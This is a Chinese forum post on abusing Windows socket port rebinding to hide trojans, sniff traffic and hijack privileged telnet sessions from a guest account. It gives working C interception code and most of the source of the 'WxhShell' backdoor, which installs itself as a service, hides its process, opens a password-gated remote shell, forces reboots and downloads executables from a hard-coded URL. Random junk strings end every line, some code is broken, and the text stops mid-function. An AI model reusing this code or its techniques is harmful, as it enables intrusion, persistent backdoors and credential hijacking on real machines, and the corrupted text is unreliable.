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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A(2\Gfe  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )F$<-0pT  
I1a>w=x!+  
  saddr.sin_family = AF_INET; XK";-7TZt  
=o!1}'1}}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q[wTV3d  
?xRx|_}e  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jDV;tEY#^  
c)b/"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tF/)DZ.to  
!:GlxmtoW?  
  这意味着什么?意味着可以进行如下的攻击: AgBXB%).  
d :a*;F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 RCL}bE  
-](NMRqfN  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9i=HZ\s3  
6w"_sK?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ue=Je~Ri;9  
a7? )x])e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  x @a3STKT  
]SO-NR  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MyJ\/`8  
Z]QpH<Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '&;s32']}  
a(eKb2CX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y37c&XYq  
|*T`3@R;3  
  #include ;UAi>//#   
  #include Qvx[F:#Tk  
  #include P4VMGP  
  #include    )Z"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zUIh^hbFf  
  int main() [Zpx :r}  
  { 5Y3L  
  WORD wVersionRequested; l!d |luqbA  
  DWORD ret; &>xd6-  
  WSADATA wsaData; (v)/h>vS  
  BOOL val; DD?zbN0X  
  SOCKADDR_IN saddr; }g9g]\.!a  
  SOCKADDR_IN scaddr; 2}BQ=%E!'  
  int err; v|7=IJ  
  SOCKET s; :;g7T-_q  
  SOCKET sc; P&=H<^yd  
  int caddsize; # h/#h\  
  HANDLE mt; %aB RL6  
  DWORD tid;   jY+u OH  
  wVersionRequested = MAKEWORD( 2, 2 ); @~+W  
  err = WSAStartup( wVersionRequested, &wsaData ); QyEGK  
  if ( err != 0 ) { %0gcNk"=  
  printf("error!WSAStartup failed!\n"); }t FRl  
  return -1; 7:S4 Ur  
  } hHsN(v  
  saddr.sin_family = AF_INET; X1C &;5  
   ]_EJ "'x  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \,ko'4 8@  
B*3<(eI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,pHQv(K/  
  saddr.sin_port = htons(23); %@~;PS3kd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TpH-_ft  
  { L|*0 A=6  
  printf("error!socket failed!\n"); DTMoZm  
  return -1; F*['1eAmdY  
  } 11g_!X -g@  
  val = TRUE; ~ubcD6f  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 DmA~Vj!a^y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "T4buTXJ  
  { *De}3-e1b  
  printf("error!setsockopt failed!\n"); \+T U{vr  
  return -1; _pN:p7l(  
  } *I6W6y;E=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wxc24y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /n3Qcht  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u==`]\_@  
}I3m8A  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ; "K"S[  
  { 1KMSBLx  
  ret=GetLastError(); "|^-Yk\U  
  printf("error!bind failed!\n"); 2e<u/M21>  
  return -1; y7ZYo7avg  
  } _Oc(K "v  
  listen(s,2); i!i=6m.q7  
  while(1) WcOnv'l,  
  { +.2O Z3(  
  caddsize = sizeof(scaddr); c.eUlr_ {  
  //接受连接请求 z4iTf8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5kx-s6 `!  
  if(sc!=INVALID_SOCKET) !x$6wzKa  
  { r^v1_u, 1I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oO4hBM([  
  if(mt==NULL) /=K(5Xd  
  { G&z^AV  
  printf("Thread Creat Failed!\n"); /_D_W,#P  
  break; 3Ow bU  
  } 1$#1  
  } 8n"L4jb(:  
  CloseHandle(mt); O\+b1+&b3Y  
  } 53<.Knw5a  
  closesocket(s); xiy=D5N.=  
  WSACleanup(); &~KAZ}xu  
  return 0; s|[CvjL#0  
  }   w\zNn4B})A  
  DWORD WINAPI ClientThread(LPVOID lpParam) +/n<]?(T  
  { _PPn =kuMa  
  SOCKET ss = (SOCKET)lpParam; $V\Dl]a1  
  SOCKET sc; UGDB4S  
  unsigned char buf[4096]; :%4N4| Q  
  SOCKADDR_IN saddr; ;@FCa j&  
  long num; ]J^/`gc  
  DWORD val; vs%d}]v  
  DWORD ret; _O3X;U7rc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {XEX0|TZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q.MbzSgXL  
  saddr.sin_family = AF_INET; \&MJ(F>vJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {%+UQ!]d8  
  saddr.sin_port = htons(23); 3]li3B'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `V2doV)  
  { !!+LFe4su  
  printf("error!socket failed!\n"); ;wa#m1  
  return -1; &[7z:`+Y##  
  } AaLbJYuKd  
  val = 100; j@s*hZ^J+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9U4 D$M  
  { w'6sJ#ba(  
  ret = GetLastError(); MS`XhFPS.  
  return -1; 0t(2^*I?>  
  } TXS{=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^jE8 "G*  
  { p|>m 2(|  
  ret = GetLastError(); ;Sl%I+?  
  return -1; .G-L/*&%  
  } 1$)}EL   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >+9:31p  
  { sH.,O9'r  
  printf("error!socket connect failed!\n"); JLak>MS  
  closesocket(sc); GMlJM  
  closesocket(ss); Yq>K1E|  
  return -1; lFN|)(X  
  } 64qqJmG 3  
  while(1) q&2L@l3A  
  { UB,0c)   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gE9x+g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 KU^|T2s%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :{s0tw>Z  
  num = recv(ss,buf,4096,0); yioX^`Fc(~  
  if(num>0) )4R[C={  
  send(sc,buf,num,0); *M-'R*Np  
  else if(num==0) pnTz.)'46  
  break; fXSuJ<G  
  num = recv(sc,buf,4096,0); wlFK#iK  
  if(num>0) :;jRAjq"  
  send(ss,buf,num,0); i8A-h6E  
  else if(num==0) jbe_r<{  
  break; ,B#*<_?E5  
  } K SJ Ko  
  closesocket(ss); YQ>O6:%  
  closesocket(sc); +`7!4gxwK!  
  return 0 ; E> N[  
  } NQcNY=  
aMJJ|iiU  
aUi^7;R&<  
========================================================== k'NP+N<M  
`$MO;Fv,G  
下边附上一个代码,,WXhSHELL @D$ogU,#  
?_d3|]N  
========================================================== }.D adV  
XZ<8M}Lg  
#include "stdafx.h" AquO#A[,#  
f\?1oMO\  
#include <stdio.h> = \M6s  
#include <string.h> n?QglN  
#include <windows.h> p_i',5H(  
#include <winsock2.h> = &^tfD  
#include <winsvc.h>  K{9  
#include <urlmon.h> +k V$ @qH  
%<|cWYM="z  
#pragma comment (lib, "Ws2_32.lib") s_3a#I  
#pragma comment (lib, "urlmon.lib") 7NkMr8[}F  
LbuhKL}VN  
#define MAX_USER   100 // 最大客户端连接数 <tW/9}@p9  
#define BUF_SOCK   200 // sock buffer sB!6"D5  
#define KEY_BUFF   255 // 输入 buffer :<v@xOzxx  
q| UO]V  
#define REBOOT     0   // 重启 ]*D~>q"#\  
#define SHUTDOWN   1   // 关机 G!Yt.M 0  
M5 P3;  
#define DEF_PORT   5000 // 监听端口 o$#q/L  
t$b5,"G1  
#define REG_LEN     16   // 注册表键长度 b3ys"Vyn  
#define SVC_LEN     80   // NT服务名长度 Z>~7|vl  
,/"0tP&_;  
// 从dll定义API p!EG:B4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z&n#*rQ7[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |Y v,zEY)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3 bT?4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V`rxjv}!  
[ OS& eK 8  
// wxhshell配置信息 T%A"E,#  
struct WSCFG { S0ReT*I  
  int ws_port;         // 监听端口 OVE?;x>n/1  
  char ws_passstr[REG_LEN]; // 口令 |xT'+~u  
  int ws_autoins;       // 安装标记, 1=yes 0=no hcz!f  
  char ws_regname[REG_LEN]; // 注册表键名 `O!yt  
  char ws_svcname[REG_LEN]; // 服务名 S263h(H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Gr'|nR8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PbfgWGr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U?ZWDr"*`w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kG5Uc8 3#G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tF\_AvL_8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @k\,XV`T~t  
wRZS+^hx  
}; 'wWuR@e#&  
hxt;sQAo{  
// default Wxhshell configuration q3`~uTzk  
struct WSCFG wscfg={DEF_PORT, q. j$]?PQ  
    "xuhuanlingzhe", PAH#yM2Ic  
    1,  yyGn <  
    "Wxhshell", Gz4LjMQ &  
    "Wxhshell", 7eW6$$ju,N  
            "WxhShell Service", C}ASVywc,1  
    "Wrsky Windows CmdShell Service", Qjd]BX;  
    "Please Input Your Password: ", Zy|u5J  
  1, f ~bgZ  
  "http://www.wrsky.com/wxhshell.exe", P0RtS1A  
  "Wxhshell.exe" >Bu _NoM  
    }; wxN&k$`a  
`|PhXr  
// 消息定义模块 NN5G '|i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0Hx'C^m72  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T-]UAN"O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZZYtaVF:  
char *msg_ws_ext="\n\rExit."; E= .clA  
char *msg_ws_end="\n\rQuit."; +:W?:\  
char *msg_ws_boot="\n\rReboot..."; A-*MH#QUKh  
char *msg_ws_poff="\n\rShutdown..."; )-h{0o  
char *msg_ws_down="\n\rSave to "; 7I*rtc&Kb  
N4b{^JkF  
char *msg_ws_err="\n\rErr!"; DR]4Tcz#  
char *msg_ws_ok="\n\rOK!"; E(&zH;?_  
pD }b$  
char ExeFile[MAX_PATH]; TmK8z  
int nUser = 0; ~qX wQ@  
HANDLE handles[MAX_USER]; )\7Cp-E-W  
int OsIsNt; 2`> (LH  
w ~^{V4V  
SERVICE_STATUS       serviceStatus; H%Z;Yt8^gt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -:~z,F  
hLVgP&/ E  
// 函数声明 ,1]VY/  
int Install(void); \FF|b"E_=  
int Uninstall(void); /O`R9+;  
int DownloadFile(char *sURL, SOCKET wsh); @Fzw_qr M  
int Boot(int flag); ,@I\'os  
void HideProc(void); GIfs]zVr`  
int GetOsVer(void); KFy|,@NI  
int Wxhshell(SOCKET wsl); PZ#aq~>w  
void TalkWithClient(void *cs); mo,"3YW  
int CmdShell(SOCKET sock); L0w2qF  
int StartFromService(void); 4G hg~0  
int StartWxhshell(LPSTR lpCmdLine); mX, @yCI  
er2;1TW3E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R^]a<g,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P@x@5uC2  
K)}Vr8,V  
// 数据结构和表定义 =h|7bYLy  
SERVICE_TABLE_ENTRY DispatchTable[] =  )\kNufP  
{ Z_7TD)  
{wscfg.ws_svcname, NTServiceMain}, Fq`@sM $  
{NULL, NULL} 1lJ^$U  
}; 02)Ybp6y  
+UX} "m~W  
// 自我安装 2sVDv@2  
int Install(void) ?}S!8;d  
{ c8HETs1  
  char svExeFile[MAX_PATH]; wUfPnAD.'  
  HKEY key; E^m)&.+'M  
  strcpy(svExeFile,ExeFile); NRk^Z)  
O;T)u4Q&3  
// 如果是win9x系统,修改注册表设为自启动 RWoVN$i>  
if(!OsIsNt) { R/ x-$VJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { / Xv@g$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y)TBg8Q  
  RegCloseKey(key); Bo1 t}#7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }WF6w+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  =vDpm,  
  RegCloseKey(key); 9>ZX@1]m_  
  return 0; t}MT<Jj  
    } JeAyT48!M  
  } wRq f'  
} :c`djM^ll  
else { !!m GsgnW  
;&kZ7%  
// 如果是NT以上系统,安装为系统服务 8%xiHPVg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~ H"-km"@  
if (schSCManager!=0) woN d7`C}7  
{ Hq>rK`  
  SC_HANDLE schService = CreateService O* )BJOPa  
  ( 75A60Uw  
  schSCManager, pK'D(t  
  wscfg.ws_svcname, 23opaX5V=  
  wscfg.ws_svcdisp, QkLcs6)R  
  SERVICE_ALL_ACCESS, NH1ak(zHW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y5Fgf3P@ju  
  SERVICE_AUTO_START, IVeA[qA0  
  SERVICE_ERROR_NORMAL, .Np!Qp1*  
  svExeFile, 4 XGEw9`3  
  NULL, Zc*#LsQh.`  
  NULL, ?+$EPaC2  
  NULL, Fl"LK:)  
  NULL, n@S|^cH  
  NULL ^ ,[gO#hgz  
  ); %WYveY  
  if (schService!=0) A-eCc#I  
  { |>-0q~  
  CloseServiceHandle(schService); zOJzQZ~  
  CloseServiceHandle(schSCManager); db3.X~Cn#s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ): r'IR  
  strcat(svExeFile,wscfg.ws_svcname); -Byl~n3*D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7]hRAhJ8I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zP/SDW   
  RegCloseKey(key); s8k4e6ak  
  return 0; .e}`n)z  
    } 6c}nP[6|  
  } JqEo~]E]  
  CloseServiceHandle(schSCManager); `[x'EJp#  
} 2#' "<n,G  
} y@Td]6|f  
;@n/g U  
return 1; qVd s 2  
} Xj:\B] v]  
'%a:L^a?  
// 自我卸载 {P%\& \{F  
int Uninstall(void) ("=24R=a  
{ ZKi?;ta=  
  HKEY key; Yof ]  
VY0-18 o  
if(!OsIsNt) { s##XC^;p[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T'N/A9{q  
  RegDeleteValue(key,wscfg.ws_regname); gpCWXz')i  
  RegCloseKey(key); g=Nde2d?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;3Q3!+%j  
  RegDeleteValue(key,wscfg.ws_regname); P+0 -h  
  RegCloseKey(key); cQ0+kX<  
  return 0; Tcq@Q$H  
  } PW9tZx#  
} lW]&a"1$  
} %B| Ca&  
else { <S0gIg`)  
'jKCAU5/0;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |;YDRI  
if (schSCManager!=0) +V#dJ[,8;.  
{ / 6DW+!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %y)LBSxf  
  if (schService!=0) 1\5po^Oioy  
  { ZPHatC  
  if(DeleteService(schService)!=0) { xJFxrG'c  
  CloseServiceHandle(schService); E FBvi  
  CloseServiceHandle(schSCManager); YH-W{].  
  return 0; qc6d,z/  
  } Qaiqx"x3  
  CloseServiceHandle(schService); =DI/|^j{ ;  
  } ;]2d%Qt  
  CloseServiceHandle(schSCManager); <In+V  
} x0xQFlGk  
} IN"6 =2:  
dAjm4F -  
return 1; Q*/jQC  
} rP}0B/  
`QT9W-0e^  
// 从指定url下载文件 o7yvXrpG(U  
int DownloadFile(char *sURL, SOCKET wsh) ~VPE9D@  
{ P_M!h~  
  HRESULT hr;  Lvn+EM  
char seps[]= "/"; _,*QJ  
char *token; #?bOAWAwLh  
char *file; 2*zMLI0.  
char myURL[MAX_PATH]; 59(} D'lw>  
char myFILE[MAX_PATH]; >< Qp%yT  
IpVtbDW  
strcpy(myURL,sURL); U@)WTH6d  
  token=strtok(myURL,seps); _147d5  
  while(token!=NULL) CW~c<,"  
  { }`uq:y  
    file=token; RNX>I,2sh  
  token=strtok(NULL,seps); g<i>252>  
  } [ _&z+  
2c5)pIVEy  
GetCurrentDirectory(MAX_PATH,myFILE); 8ZDWaq8^2N  
strcat(myFILE, "\\"); !:1BuiL  
strcat(myFILE, file); F>5)Clq  
  send(wsh,myFILE,strlen(myFILE),0); qvRs1yr?q  
send(wsh,"...",3,0); #LG<o3An  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lq)[  
  if(hr==S_OK) {z8wFL\  
return 0; w#;y  
else E_K32) J-  
return 1; Ewo6Q){X  
vH]2t.\  
} [uu<aRAg3O  
zB+zw\ncN  
// 系统电源模块 @G=_nZxv  
int Boot(int flag) 49 1 1  
{ f7 zGz  
  HANDLE hToken; kfy|3KA3m  
  TOKEN_PRIVILEGES tkp; 5+*CBG}  
2Vg+Aly4D  
  if(OsIsNt) { vNAQ/Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MNKY J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Qr[".>+  
    tkp.PrivilegeCount = 1; ]DI%7kw'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;vgaFc]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \B8[UZA.&  
if(flag==REBOOT) { *0%G`Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nsi&r  
  return 0; X1%_a.=VF  
} eo4v[V&  
else { 2B]mD-~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +InFv" wt  
  return 0; 4J2C# Cs  
} O4,? C)  
  } NQ\<~a`Eq  
  else { HQrx9CXE  
if(flag==REBOOT) { 7]8apei|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (EOYJHZB!  
  return 0; Gv 6#LcF#  
} k)S'@>n{u  
else { _(:bGI'.m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x]|-2t  
  return 0; Ba;tEF{X  
} 2r#W#z%vS  
} Yf x'7gj  
~ 6Hi"w  
return 1; ]Hrw$\Ky  
} l~GcD  
o1u?H4z  
// win9x进程隐藏模块 4G=KyRKh  
void HideProc(void) O@,9a~Ghd  
{ IsB=G-s  
);ZxKGjc4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CrEC@5 j  
  if ( hKernel != NULL ) K=;oZYNd  
  { uJL[m(G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z~ DR,:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }&IOBYHVDo  
    FreeLibrary(hKernel); Uj> bWa`  
  } 'E1m-kJz  
a &tl@y1  
return; -l q,~`v  
} {us"=JJVN  
Lz}mz-N  
// 获取操作系统版本 N uq/y=  
int GetOsVer(void) wnbKUlb  
{ |j7{zsH  
  OSVERSIONINFO winfo; 0uf)6(f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0-zIohSJdQ  
  GetVersionEx(&winfo); xX{gm'3UYa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P}mn2Hs  
  return 1; N(L?F):fT  
  else c=~FXV!  
  return 0; Vw b6QIs  
} /}RW~ax  
( T2 \   
// 客户端句柄模块 @# &y  
int Wxhshell(SOCKET wsl) mdukl!_x  
{ f#zm}+,`  
  SOCKET wsh; "9yQDS:  
  struct sockaddr_in client; hIMD2  
  DWORD myID; M\dZxhQ-l  
mEDi'!YE"  
  while(nUser<MAX_USER) l*<RKY8  
{ I?%iJ%  
  int nSize=sizeof(client); +`Ypc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?DKwKt  
  if(wsh==INVALID_SOCKET) return 1; ?ZT+4U00U  
($Ck5`_MK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H6]z98  
if(handles[nUser]==0) wdTjJf r  
  closesocket(wsh); Ce_E S.  
else B&c*KaK;~  
  nUser++; 44(l1xEN+  
  } *9xv0hRQ%?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :sXn*k4v  
w&^_2<a2  
  return 0; 0|@* `-:VO  
} TClgywL  
o<8=@ ^T  
// 关闭 socket TSAVXng  
void CloseIt(SOCKET wsh) 1<d|@9?9`  
{ 7.`:Z_  
closesocket(wsh); fs wQ*  
nUser--;  oN7JNMT  
ExitThread(0); y(0";\V  
} IJV1=/ NJW  
pcjb;&<  
// 客户端请求句柄 5t~p99#?  
void TalkWithClient(void *cs) 'J"m`a8no  
{ 7>>6c7e  
dUL3UY3  
  SOCKET wsh=(SOCKET)cs; DZ~qk+,I  
  char pwd[SVC_LEN]; V50FX }i  
  char cmd[KEY_BUFF]; LHJjPf)F  
char chr[1]; Z 361ko}  
int i,j; {%Q &CQG_  
;UG]ckV-  
  while (nUser < MAX_USER) { BX=YS)  
F~tT5?+  
if(wscfg.ws_passstr) { SN/ e41  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |] 8Hh>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y1Qg|U o  
  //ZeroMemory(pwd,KEY_BUFF); 9py *gN#  
      i=0; *P}v82C N  
  while(i<SVC_LEN) { V8{5 y <Y>  
iN+Tig?c  
  // 设置超时 E||[(l,b  
  fd_set FdRead; c>nXnN  
  struct timeval TimeOut; s j{i  
  FD_ZERO(&FdRead); rYYAZ(\8  
  FD_SET(wsh,&FdRead); j[<}l&  
  TimeOut.tv_sec=8; U$5 lh  
  TimeOut.tv_usec=0; WGeTL`}dh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z}:|is)?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1rmK#ld"=Z  
vkQkU,q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c3$h-M(jVJ  
  pwd=chr[0]; =UW! 7OzC  
  if(chr[0]==0xd || chr[0]==0xa) { uNSbAw3  
  pwd=0; dJ}E,rW}  
  break; $Q cr  
  }  B1!b@0^  
  i++; 9dFSppM  
    } Z U^dLN- N  
KixS)sG  
  // 如果是非法用户,关闭 socket r|>a;n Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YYc.e T<  
} b;XUv4~V  
nR1QS_@{L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Dtw1q-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >uN)O-  
rG*Zp7{  
while(1) { >u:t2DxE  
mgxoM|n6  
  ZeroMemory(cmd,KEY_BUFF); ufekhj  
7jL3mI;n%;  
      // 自动支持客户端 telnet标准    DlWnz-  
  j=0; ]d|:&h  
  while(j<KEY_BUFF) { bEJz>oyW"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uYv"5U]MFv  
  cmd[j]=chr[0]; ?-`G0(  
  if(chr[0]==0xa || chr[0]==0xd) { toCxY+"nbU  
  cmd[j]=0; sw'?&:<"Ow  
  break; 0[qU k(=}[  
  } s;'j n_,0  
  j++; "A6T'nOP  
    } ] _WB^  
_z$lg]q  
  // 下载文件 sm~{fg  
  if(strstr(cmd,"http://")) { B8'e,9   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "5,tEP!  
  if(DownloadFile(cmd,wsh)) ,c;u]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :DlgNR`bq  
  else oS/cS)N20  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N=QeeAI}}m  
  } l12_&o"C~  
  else { 9$u'2TV  
P~5[.6gW  
    switch(cmd[0]) { )Uv lEG']  
  !5;A.f  
  // 帮助 e)WpqaI  
  case '?': { 5B lptC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^}gQh#  
    break; ^K#PcPF-j  
  } 9{;cp?\)M  
  // 安装 +v`?j+6z  
  case 'i': { 1UHStR  
    if(Install()) Vg0$5@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sf2pU!5n^  
    else >(} I7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;;2Yfn'`9  
    break; RvQl{aL  
    } 2$g3ABfV  
  // 卸载 Ie[8Iot?bn  
  case 'r': { 7eh<>X!TX  
    if(Uninstall()) ?5A!/`E&%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4nfpPN t  
    else 9bL`0L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /"Bm1  
    break; j}2,|9ne  
    } $:#{Y;d  
  // 显示 wxhshell 所在路径 5f:Mb|. ?  
  case 'p': { }CiB+  
    char svExeFile[MAX_PATH]; me+F0:L  
    strcpy(svExeFile,"\n\r"); y3]7^+k  
      strcat(svExeFile,ExeFile); 43"` gF]  
        send(wsh,svExeFile,strlen(svExeFile),0); @o[C Xrz  
    break; /a?*Ap5"  
    } l 4zl|6%  
  // 重启 \m3;<A/3n  
  case 'b': { L@"1d.k_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0<8p G:BQ  
    if(Boot(REBOOT)) +$hqwNh@Z@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5w\>Whbd  
    else { ;<JyA3i^V,  
    closesocket(wsh); nty^De%  
    ExitThread(0); meHnT9a^  
    } XF`,mV4  
    break; D{]t50a.  
    } &vf%E@<  
